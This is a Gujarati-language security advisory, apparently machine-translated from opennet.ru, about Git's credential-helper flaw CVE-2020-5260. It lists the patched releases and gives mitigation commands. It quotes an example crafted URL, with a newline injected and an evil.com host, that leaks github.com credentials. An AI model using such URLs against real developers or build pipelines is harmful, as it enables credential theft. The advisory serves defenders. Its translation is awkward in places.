Git ઓળખપત્ર લિકેજ નબળાઈ

પ્રકાશિત વિતરિત સ્ત્રોત નિયંત્રણ સિસ્ટમ Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 અને 2.17.4 માં સુધારાત્મક પ્રકાશનો જે દૂર કરી નબળાઈ (CVE-2020-5260) હેન્ડલરમાં "credential.helper", જેના કારણે ઓળખાણપત્ર ખોટા હોસ્ટને મોકલવામાં આવે છે જ્યારે ગિટ ક્લાયન્ટ નવી લાઇન અક્ષર ધરાવતા વિશિષ્ટ રીતે ફોર્મેટ કરેલ URL નો ઉપયોગ કરીને રીપોઝીટરીને ઍક્સેસ કરે છે. નબળાઈનો ઉપયોગ હુમલાખોર દ્વારા નિયંત્રિત સર્વર પર મોકલવા માટે અન્ય હોસ્ટના ઓળખપત્રોની વ્યવસ્થા કરવા માટે થઈ શકે છે.

"https://evil.com?%0ahost=github.com/" જેવા URL નો ઉલ્લેખ કરતી વખતે, હોસ્ટ evil.com સાથે કનેક્ટ કરતી વખતે ઓળખપત્ર હેન્ડલર github.com માટે ઉલ્લેખિત પ્રમાણીકરણ પરિમાણો પસાર કરશે. સમસ્યા ત્યારે થાય છે જ્યારે "ગીટ ક્લોન" જેવી કામગીરી કરવામાં આવે છે, જેમાં સબમોડ્યુલ્સ માટે URL પર પ્રક્રિયા કરવામાં આવે છે. એવી પરિસ્થિતિઓમાં નબળાઈ સૌથી ખતરનાક છે જ્યાં વિકાસકર્તા URL ને જોયા વિના રિપોઝીટરીને ક્લોન કરે છે, ઉદાહરણ તરીકે, સબમોડ્યુલ્સ સાથે કામ કરતી વખતે, અથવા સિસ્ટમો કે જે આપોઆપ ક્રિયાઓ કરે છે, ઉદાહરણ તરીકે, પેકેજ બિલ્ડ સ્ક્રિપ્ટ્સમાં.

નવા સંસ્કરણોમાં નબળાઈઓને અવરોધિત કરવા પ્રતિબંધિત ઓળખપત્ર વિનિમય પ્રોટોકોલ દ્વારા પ્રસારિત કોઈપણ મૂલ્યોમાં નવી લાઇન અક્ષર પસાર કરવું. વિતરણો માટે, તમે પૃષ્ઠો પર પેકેજ અપડેટ્સના પ્રકાશનને ટ્રૅક કરી શકો છો ડેબિયન, ઉબુન્ટુ, આરએચએલ, SUSE/openSUSE, Fedora, આર્ક, ફ્રીબીએસડી.

સમસ્યાને અવરોધિત કરવાના ઉપાય તરીકે આગ્રહણીય છે સાર્વજનિક રિપોઝીટરીઝને ઍક્સેસ કરતી વખતે credential.helper નો ઉપયોગ કરશો નહીં અને અનચેક કરેલ રીપોઝીટરીઝ સાથે "--recurse-submodules" મોડમાં "git ક્લોન" નો ઉપયોગ કરશો નહીં. credential.helper હેન્ડલરને સંપૂર્ણપણે અક્ષમ કરવા માટે, જે કરે છે જાળવણી અને માંથી પાસવર્ડો પુનઃપ્રાપ્ત કરી રહ્યા છીએ કેશ, સુરક્ષિત ભંડાર અથવા પાસવર્ડ્સવાળી ફાઇલ, તમે આદેશોનો ઉપયોગ કરી શકો છો:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

સોર્સ: opennet.ru